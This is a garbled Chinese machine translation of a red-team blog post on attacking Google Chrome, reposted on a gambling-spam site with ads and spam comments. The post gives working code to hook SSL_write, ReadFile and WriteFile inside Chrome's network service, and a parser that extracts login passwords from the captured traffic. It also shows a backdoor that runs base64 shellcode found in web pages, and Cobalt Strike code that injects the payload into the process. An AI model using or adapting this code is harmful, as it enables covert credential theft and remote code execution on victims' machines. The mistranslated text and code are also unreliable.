allbet代理开户(www.allbetgame.us):通过IPC,凭证和后门对浏览器的攻击研究

Web浏览器默认就是受用户信托的,浏览器地址栏上会有一个平安挂锁标志,有些还会标注是受信托网站。这种信托使用户放心地将敏感数据输入这些网站,从攻击者的角度来看,这种信托是好事,由于一旦你损坏了用户事情站,就会有一个历程处置大量的敏感数据,同时又会被用户大量使用。使用带有浏览器扩展程序的密码治理器,你就会成为红队攻击的目的。

0x01 总体概述

我决议研究的浏览器是Google Chrome,缘故原由很简朴,由于它拥有台式机浏览器近70%的市场份额,以是它是迄今为止最受迎接的浏览器,因此是显著的选择。

与大多数浏览器一样,Chrome使用多历程架构(如下所示):

这样做的缘故原由是出于平安性和可用性的思量,它允许对浏览器的特定部门(例如渲染器)举行沙盒处置,同时仍允许浏览器的其他部门在不受沙盒限制的情形下运行。Chrome分为7个差其余部门,其中最主要的部门是网络服务,存储服务和渲染器。网络服务按其提醒运行,它处置与Internet的通讯,因此可以获取我们追踪的敏感数据。

0x02 窃取数据

我将针对Windows上运行的Chrome,而且Windows拥有自己的套接字库,称为Winsock。因此,Chrome很可能会使用Winsock举行网络通讯。Chrome的大部门代码都存储在内部,  因此将chrome.dll加载到IDA中并查看WSASend 。

唯一的问题是,当用户毗邻到未启用SSL的站点时,WSASend仅将包罗纯文本数据,这不太可能是我们要从中窃取数据的站点。那么,我们若何才气获得相同的数据,我们只针对SSL加密函数举行剖析。

在Chrome开发历程中的某个地方,Google以为OpenSSL对他们来说还不够平安,因此他们自己制作了一个名为 BoringSSL的分支。它们保留了原始的焦点函数名称, 例如 SSL_write,在OpenSSL和BoringSSL中都做相同的事情。它将指向某些纯文本数据的指针作为 buf 参数,并将ssl写入参数所指向的SSL流  。该函数的源代码如下所示:

我们可以通过搜索字符串 SSL_write 确认是Chrome在使用 chrome.dll:

经由一番寻找之后,我在offset 0x0000000182ED03E0位置找到了函数 ,我已经重命名了一些变量和函数名称,因此可以很清晰地看到它是 SSL_write 函数:

现在我们有了偏移量,可以放置一个钩子来将挪用从正当重定向 SSL_write 到我们的 SSL_write 函数,我在之前的博客文章中做了这件事 。

我写了 一段代码 来搜索以下模式字符串:

41 56 56 57 55 53 48 83 EC 40 45 89 C6 48 89 D7 48 89 CB 48 8B 05 EE 3E DC 05 48 31 E0 48 89 44

并将其替换为以下函数,该函数将仅在其中显示一个带有请求数据的文本框。

int SSL_write(void* ssl, void* buf, int num) {
 MessageBoxA(NULL, (char*)buf, "SSL_write", 0);
    
 return Clean_SSLWrite(ssl, buf, num);
}

我将DLL注入到网络服务中,并登录到Outlook帐户。如预期的那样,我有两个弹出框,一个包罗请求标头,另一个包罗POST正文:

为了确保这一点,我实验登录了其他两个网站,在我实验登录google服务而且没有弹框之前,一切似乎都正常运行。我不明了为什么我能够捕捉除从任何请求到Google服务之外的所有请求。经由研究后,我发现了 QUIC 协议。事实证实,谷歌已决议TCP不再支持HTTP,而Chrome现在将改为使用UDP。

然则仍有一线希望,至少这迫使我认可Chrome现实上支持多种差其余协议这一事实,而且我必须找到一种更通用的解决方案来实现自己的目的。

0x03 在多协议模式中窃取数据

现在完全可以重复上述历程,找到每个协议的要害函数的偏移量,然后举行Hook。但这似乎是一项艰难的事情,并不是一种稀奇优雅的方式。取而代之的是,我决议寻找一种更精练的方式。

回首Chrome使用的多历程系统结构,我意识到渲染器历程必须使用一种方式将请求转达给网络服务并吸收回响应。我发现了 这个分享 ,他给出了有关浏览器若何使用历程间通讯(IPC)的许多细节。通过针对两个历程之间用于IPC的函数,我现在可以窃取正在发送和吸收的数据,这与协议无关。

在IPC通讯时代,Chrome将使用多个差其余管道,挪用控制\\.\pipe\chromeipc管道 ,而其他管道则用于传输数据,例如请求,响应,Cookie,已保留的凭证等。我发现了一个chromium-ipc-sniffer的工具 ,它将使我能够使用Wireshark嗅探Chromes控制管道发送的数据。

启动后发送了许多不相关的数据,因此我使用以下过滤器将其优化为仅包罗我想查看的通讯数据:

npfs.process_type contains "Network Service" && npfs.process_type contains "Broker"

在执行IPC时,Chrome使用的是 Mojo,它是一种数据花样,基使Chrome可以轻松地转达数据并快速挪用内部函数。如下面的图像所示,署理将在网络服务中挪用 Mojo方式URLLoaderFactory.CreateLoaderAndStart ,并为它提供HTTP请求的要害信息,例如方式,域和Headers:

渲染器将直接使用署理作为这些请求的署理,而不是将请求直接转达给网络服务。

现在我们确定请求数据将通过IPC传输,可以最先窃取此数据了,这样做现实上异常容易,由于你只需挂接单个Windows API挪用即可获取请求的内容,而与要发送的协议无关,思量以下Chrome自身内部代码的示例:

DWORD dwRead;
LPVOID lpBuffer = NULL;

HANDLE hPipe = CreateFile(L"\\\\.\\pipe\\chromeipc", 
                   GENERIC_READ, 
                   0,
                   NULL,
                   OPEN_EXISTING,
                   0,
                   NULL);

while (hPipe != INVALID_HANDLE_VALUE)
{
    while (ReadFile(hPipe, lpBuffer, sizeof(lpBuffer), &dwRead, NULL) != FALSE)
    {
        HandleMojoData(lpBuffer);
    }
    CloseHandle(hPipe);
}

与其使用字节模式来查找HandleMojoData,还不如仅指定 ReadFile 的地址泛起在PEB中,并可以通过挪用轻松接见, 而不是使用字节模式来查找 GetProcAddress。下面是我要将正当ReadFile 函数重定向到的函数:

BOOL Hooked_ReadFile( HANDLE hFile,
    LPVOID       lpBuffer,
    DWORD        nNumberOfBytesToRead,
    LPDWORD      lpNumberOfBytesRead,
    LPOVERLAPPED lpOverlapped
)
{
    // so we can verify if the function is hooked or not
    if (hFile == (HANDLE)READFILE_HOOKED && lpBuffer == NULL)
    {
        return TRUE;
    }
b
    WriteBufferToLog(lpBuffer, nNumberOfBytesToRead);

    return Clean_ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped);
}

该函数所要做的就是将将从命名管道写入到磁盘上文件的数据纪录下来,然后挪用原始 ReadFile 函数。可以在这里找到此代码 。

https://github.com/bats3c/ChromeTools/blob/main/chrometap/wiretap/dllmain.cpp

我之以是不包罗仅纪录请求数据的Mojo剖析器,而是纪录所有内容,仅仅是由于Chrome具有云云重大的代码库,我险些可以确定HTTP请求数据不会成为通过这些管道转达的唯一价值数据。思量到这一点,有意义的是纪录所有内容并在以后举行剖析,而不会永远丢失该数据。

注入Hook DLL并再次登录Outlook之后,举行正则,我就能找到我用来登录的凭证:

实验 使用QUIC协议登录 https://account.google.com/,如下面的截图所示,我们现在可以窃取纯文本凭证:

,

皇冠APP下载

皇冠APP下载(www.huangguan.us)是一个提供最新皇冠登录,皇冠APP下载包含新皇冠体育代理、会员APP。

,

现在唯一的挑战是剖析此文件并提取尽可能多的加密信息。

0x04 编写YARA规则获取登录口令

我需要编写一个适用程序来剖析此Dump文件,它需要能够在多个差其余请求类型之间举行匹配和区分,然后以一种可以轻松检索请求加密数据的方式剖析此类请求。为此,请连系使用YARA规则和我编写的python的插件系统 hunt.py。

使用的hunt.py 语法异常简朴

./hunt.py

然后它将搜索Dump并找到key,如下所示:


编写规则和插件现实上异常容易。首先,你需要查看请求并挑选出可用于标识YARA规则请求的字符串:

然后使用这些字符串可以编写如下的YARA规则,规则应存储在 rules/ 目录中:

rule outlook_creds {
    meta:
        author = "@_batsec_"
        plugin = "outlook_parse"
    strings: 
        $str1 = "login.live.com" 
        $str2 = "login=" 
        $str3 = "hisScaleUnit="
        $str4 = "passwd="
    condition: 
        all of them 
}

当 hunt.py 找到一个匹配时,它使用 plugin 变量中的规则来作为上述插件的名称来加载并剖析该请求。

插件只是plugins.py 文件中的一个函数 。它将以字节工具的形式收到原始请求,并返回一个字典,其中包罗找到的所有内容的名称和Key,例如 {'site': 'login.live.com', 'username': 'asdf%40asdf.com', 'password': 'ThisIsMyVerySecurePassword123%21'}。

剖析Outlook请求的插件如下所示:

def outlook_parse(request):

    creds = {}

    creds['site'] = 'login.live.com'

    login = re.search(rb'login=(.*)&', request).group(1).decode()
    login = login[:login.index('&')]
    creds['username'] = login

    passwd = re.search(rb'passwd=(.*)&', request).group(1).decode()
    passwd = passwd[:passwd.index('&')]
    creds['password'] = passwd
    
    return creds

看一下我们的chrometap BOF 行使:

https://player.vimeo.com/video/499545085

0x05 在Chrome中植入后门

能够从请求中窃取Key是一回事,然则怎么样使用Chrome作为隐藏持久化的工具呢。

为领会决这个问题,我们将需要找到一种方式来查看Web请求的响应,然则,若是我们可以通过毗邻ReadFile 网络服务来查看Web请求,则我们可以将这些请求的响应作为回写的内容举行查看。

Hook函数 WriteFile,我修改了前面的代码来Dump WriteFile。将其注入网络服务并剖析Dump文件,我原本希望看到大量HTML / CSS / JavaScript文件,但令我惊讶的是,并没有这些文件:

我很疑心,我以为我的假设是错误的,而且响应内容是通过IPC的另一种方式转达的。我花了一些时间研究共享内存(Chrome浏览器使用IPC的另一种方式),但仍然找不到响应内容。

感应沮丧的是,我正在查看请求标头,以查看是否有任何我错过的内容。然后我注重到了编码头,这就说得通了:


我以为网络服务将处置所有内容并将响应转达给渲染器举行渲染,然则从Dump文件中压缩后的内容量来看,渲染历程似乎也可以处明白压缩:

通过提取息争压缩压缩后的内容,我们可以看到它现实上是我一直在搜索的Web内容。

因此,现在我们知道,通过Hook WriteFile 并解压缩数据, lpBuffer 将为我们提供纯文本Web内容。

然后,使用 这个 不错的gzip小解压缩库,我能够编写一个替换WriteFile 的函数,该函数将对数据举行解压缩 ,并将HTML符号之间的数据提供 ExecuteShellcode 给要执行的 shellcode函数。

,define SHCPATTERN1 ""
,define SHCPATTERN2 ""

BOOL Hooked_WriteFile(HANDLE hFile,
 LPCVOID      lpBuffer,
 DWORD        nNumberOfBytesToWrite,
 LPDWORD      lpNumberOfBytesWritten,
 LPOVERLAPPED lpOverlapped)
{
    int res;
    DWORD i;
    char *start, *end;
    char *target = NULL;
    unsigned char *dest = NULL;
    unsigned char *source = NULL;
    unsigned int len, dlen, outlen;
    DWORD_PTR dwBuf = (DWORD_PTR)lpBuffer;

    if (hFile == (HANDLE)WRITEFILE_HOOKED && lpBuffer == NULL)
    {
        return TRUE;
    }

    if (lpBuffer != NULL && nNumberOfBytesToWrite >= 18)
    {
        tinf_init();

        auto ucharptr = static_cast(lpBuffer);
        source = const_cast(ucharptr);

        dlen = read_le32(&source[nNumberOfBytesToWrite - 4]);

        dest = (unsigned char *) malloc(dlen ? dlen : 1);
        if (dest == NULL)
        {
            goto APICALL;
        }

        outlen = dlen;

        res = tinf_gzip_uncompress(dest, &outlen, source, nNumberOfBytesToWrite);

        if ((res != TINF_OK) || (outlen != dlen)) 
        {
            free(dest);
            goto APICALL;
        }

        for (i = 0; i < outlen; i++)
        {
            if (!memcmp((PVOID)(dest + i), (unsigned char*)SHCPATTERN1, strlen(SHCPATTERN1)))
            {
                if ( start = strstr( (char*)dest, SHCPATTERN1 ) )
                {
                    start += strlen( SHCPATTERN1 );
                    if ( end = strstr( start, SHCPATTERN2 ) )
                    {
                        target = ( char * )malloc( end - start + 1 );
                        memcpy( target, start, end - start );
                        target[end - start] = '\0';

                        ExecuteShellcode(target);
                    }
                }
            }
        }

        free(dest);
        free(target);
        
        goto APICALL;
    }
    
    goto APICALL;

APICALL:
    return Clean_WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);
}

在 ExecuteShellcode 中没有做什么特其余事情,它只是使用Windows API为Base64解码了shellcode,然后执行它。

BOOL ExecuteShellcode(char* shellcode)
{
    DWORD dwOutLen;
    int shellcode_len = strlen(shellcode);

    FUNC_CryptStringToBinaryA CryptStringToBinaryA = (FUNC_CryptStringToBinaryA)GetProcAddress(
                                                        LoadLibraryA("crypt32.dll"), 
                                                        "CryptStringToBinaryA");

    CryptStringToBinaryA(
        (LPCSTR)shellcode,
        (DWORD)shellcode_len,
        CRYPT_STRING_BASE64,
        NULL,
        &dwOutLen,
        NULL,
        NULL
    );

    BYTE* pbBinary = (BYTE*)malloc(dwOutLen + 1);

    CryptStringToBinaryA(
        (LPCSTR)shellcode,
        (DWORD)shellcode_len,
        CRYPT_STRING_BASE64,
        pbBinary,
        &dwOutLen,
        NULL,
        NULL
    );

    void* module = VirtualAlloc(0, dwOutLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(module, pbBinary, dwOutLen);

    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)module, NULL, 0, 0);

    return TRUE;

}

由于我们现在有了一个DLL,一旦注入DLL,它将迫使Chrome执行标签之间的任何shellcode ,对其举行测试:

若是你使用加入了后门的浏览器接见我博客的主页, 则将运行shellcode:

你需要做的就是让用户接见一个包罗纯文本shellcode符号的Web资源,无论它是链接,图像,iframe照样其他任何文本。

你可以在每次重新启动后使用任何通例的持久化手艺来重新插入钩子。

0x06 Shellcode武器化

以DLL形式拥有这些工具很有用,但对于红队渗透而言却不是很适用,由于我必须以某种方式识别Chrome的网络服务,然后注入所说的DLL。因此,我决议连系使用 sRDI 和Cobalt Strikes的 beacon工具文件 来部署它们。

我编写了beacon工具文件(BoF)以使用直接的系统挪用,这要归功于@Cneelis 在InlineWhispers上 所做的精彩事情,使操作变得容易 得多。

首先要找到Chrome的网络服务。它以映像名称 chrome.exe 运行,因此我将NtQuerySystemInformation syscall与 SystemProcessInformation 参数一起使用, 以获取指向SYSTEM_PROCESSES 结构的指针,该结构包罗有关盘算机受骗前正在运行的所有历程的信息。

typedef struct _SYSTEM_PROCESSES {
 ULONG NextEntryDelta;
 ULONG ThreadCount;
 ULONG Reserved1[6];
 LARGE_INTEGER CreateTime;
 LARGE_INTEGER UserTime;
 LARGE_INTEGER KernelTime;
 UNICODE_STRING ProcessName;
 KPRIORITY BasePriority;
 HANDLE ProcessId;
 HANDLE InheritedFromProcessId;
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

然后使用 NextEntryDelta 通过的处置举行迭代,直到 ProcessName.Buffer 是 chrome.exe。

DWORD GetChromeNetworkProc()
{
    NTSTATUS dwStatus;
    ULONG ulRetLen = 0;
    LPVOID lpBuffer = NULL;
    DWORD dwPid, dwProcPid = 0;

    if (NtQuerySystemInformation(SystemProcessInformation, 0, 0, &ulRetLen) != STATUS_INFO_LENGTH_MISMATCH)
    {
        goto Cleanup;
    }

    lpBuffer = MSVCRT$malloc(ulRetLen);
    if (lpBuffer == NULL)
    {
        goto Cleanup;
    }

    if (!NtQuerySystemInformation(SystemProcessInformation, lpBuffer, ulRetLen, &ulRetLen) == STATUS_SUCCESS)
    {
        goto Cleanup;
    }

    PSYSTEM_PROCESSES lpProcInfo = (PSYSTEM_PROCESSES)lpBuffer;

    do
    {
        dwPid = 0;

        lpProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)lpProcInfo) + lpProcInfo->NextEntryDelta);
        dwProcPid = *((DWORD*)&lpProcInfo->ProcessId);
        
        if (MSVCRT$wcscmp(lpProcInfo->ProcessName.Buffer, L"chrome.exe") == 0)
        {
            if (IsNetworkProc(dwProcPid))
            {
                dwPid = dwProcPid;
                goto Cleanup;
            }
        }

        if (lpProcInfo->NextEntryDelta == 0) 
        {
   goto Cleanup;
        }
    } while (lpProcInfo);

Cleanup:
 return dwPid;
}

一旦找到一个名为 chrome.exe 历程的历程,其历程ID将转达给该IsNetworkProc 函数,该函数将确定它是否现实上是网络服务。这是通过使用 NtQueryInformationProcess syscall来获取远程历程中历程环境块(PEB)的地址,然后遍历PEB直到找到启动该历程的下令行参数来完成的。若是--utility-sub-type=network.mojom.NetworkService 在启动chrome.exe 历程时使用了该标志, 则该历程将成为网络服务。

BOOL IsNetworkProc(DWORD dwPid)
{
 PPEB pPeb;
 SIZE_T stRead;
 HANDLE hProcess;
 NTSTATUS dwStatus;
 BOOL bStatus = FALSE;
 PWSTR lpwBufferLocal;
 PROCESS_BASIC_INFORMATION BasicInfo;

 MSVCRT$memset(&BasicInfo, '\0', sizeof(BasicInfo));

 if ((hProcess = OpenProcessHandle(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, dwPid)) == INVALID_HANDLE_VALUE)
 {
  bStatus = FALSE;
  goto Cleanup;
 }

 if ((dwStatus = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInfo, sizeof(BasicInfo), NULL)) != STATUS_SUCCESS)
 {
  bStatus = FALSE;
  goto Cleanup;
 }

 LPVOID lpPebBuf = MSVCRT$malloc(sizeof(PEB));
 if (lpPebBuf == NULL)
 {
  bStatus = FALSE;
  goto Cleanup;
 }

 if (NtReadVirtualMemory(hProcess, BasicInfo.PebBaseAddress, lpPebBuf, sizeof(PEB), &stRead) != STATUS_SUCCESS)
 {
  bStatus = FALSE;
  goto Cleanup;
 }

 PPEB pPebLocal = (PPEB)lpPebBuf;

 PRTL_USER_PROCESS_PARAMETERS pRtlProcParam = pPebLocal->ProcessParameters;
 PRTL_USER_PROCESS_PARAMETERS pRtlProcParamCopy = (PRTL_USER_PROCESS_PARAMETERS)MSVCRT$malloc(sizeof(RTL_USER_PROCESS_PARAMETERS));

 if (pRtlProcParamCopy == NULL)
 {
  bStatus = FALSE;
  goto Cleanup;
 }

 if (NtReadVirtualMemory(hProcess, pRtlProcParam, pRtlProcParamCopy, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL) != STATUS_SUCCESS)
 {
  bStatus = FALSE;
  goto Cleanup;
 }

 USHORT len =  pRtlProcParamCopy->CommandLine.Length;
 PWSTR lpwBuffer = pRtlProcParamCopy->CommandLine.Buffer;
 
 if ((lpwBufferLocal = (PWSTR)MSVCRT$malloc(len)) == NULL)
 {
  bStatus = FALSE;
  goto Cleanup;
 }

 if (NtReadVirtualMemory(hProcess, lpwBuffer, lpwBufferLocal, len, NULL) != STATUS_SUCCESS)
 {
  bStatus = FALSE;
  goto Cleanup;
 }

 if (MSVCRT$wcsstr(lpwBufferLocal, L"--utility-sub-type=network.mojom.NetworkService") != NULL)
 {
  bStatus = TRUE;
 }

 goto Cleanup;

Cleanup:
 if (hProcess) { KERNEL32$CloseHandle(hProcess); }

 return bStatus;
}

一旦找到网络历程,它将使用下面的代码将DLL注入到历程中,该DLL现在由于sRDI而酿成了与位置无关的shellcode。

BOOL InjectShellcode(DWORD dwChromePid, DWORD dwShcLen, LPVOID lpShcBuf)
{
 ULONG ulPerms;
 LPVOID lpBuffer = NULL;
 HANDLE hProcess, hThread;
 SIZE_T stSize = (SIZE_T)dwShcLen;

 if ((hProcess = OpenProcessHandle(PROCESS_ALL_ACCESS, dwChromePid)) == INVALID_HANDLE_VALUE)
 {
  return FALSE;
 }

 NtAllocateVirtualMemory(hProcess, &lpBuffer, 0, &stSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
 if (lpBuffer == NULL)
 {
  return FALSE;
 }

 if (NtWriteVirtualMemory(hProcess, lpBuffer, lpShcBuf, dwShcLen, NULL) != STATUS_SUCCESS)
 {
  return FALSE;
 }

 if (NtProtectVirtualMemory(hProcess, &lpBuffer, &stSize, PAGE_EXECUTE_READ, &ulPerms) != STATUS_SUCCESS)
 {
  return FALSE;
 }

 NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, FALSE, 0, 0, 0, NULL);
 if (hThread == INVALID_HANDLE_VALUE)
 {
  return FALSE;
 }

 return TRUE;
}
本文翻译自:https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/

新2手机管理端

新2手机管理端(www.huangguan.us)实时更新发布最新最快的新2代理线路、新2会员线路、新2备用登录网址、新2手机管理端、新2手机版登录网址、新2皇冠登录网址。

  • 评论列表:
  •  allbet欧博app
     发布于 2021-06-07 00:05:16  回复
  • 泰州新闻网泰州新闻网是泰州日报社旗下的公共信息服务传播平台,旨在为泰州用户实时呈现准确的社会综合热点信息,整合了泰州日报和泰州晚报等多个传媒平台的精品新闻,主要推出政要栏目和城市服务,集新闻资讯、民政互动和生活服务于一体,在网上随地问政、随时可视直播,覆盖了所有日常生活需要的服务,是专为广大人民制作和服务的地域性资讯网站。赞,转,评,常规流程
  •  Filecoin矿机
     发布于 2021-06-15 00:10:18  回复
  • 皇冠足球app是一个开放皇冠体育代理最新登录线路(www.huangguan.us)、皇冠体育会员最新登录线路、皇冠代理APP下载、皇冠会员APP下载、皇冠线路APP下载、皇冠电脑版下载、皇冠手机版的平台。皇冠体育APP上登录线路最新、新2皇冠网址更新最快,皇冠体育APP开放皇冠会员注册、皇冠代理开户等业务。大家多多评论呀

添加回复:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。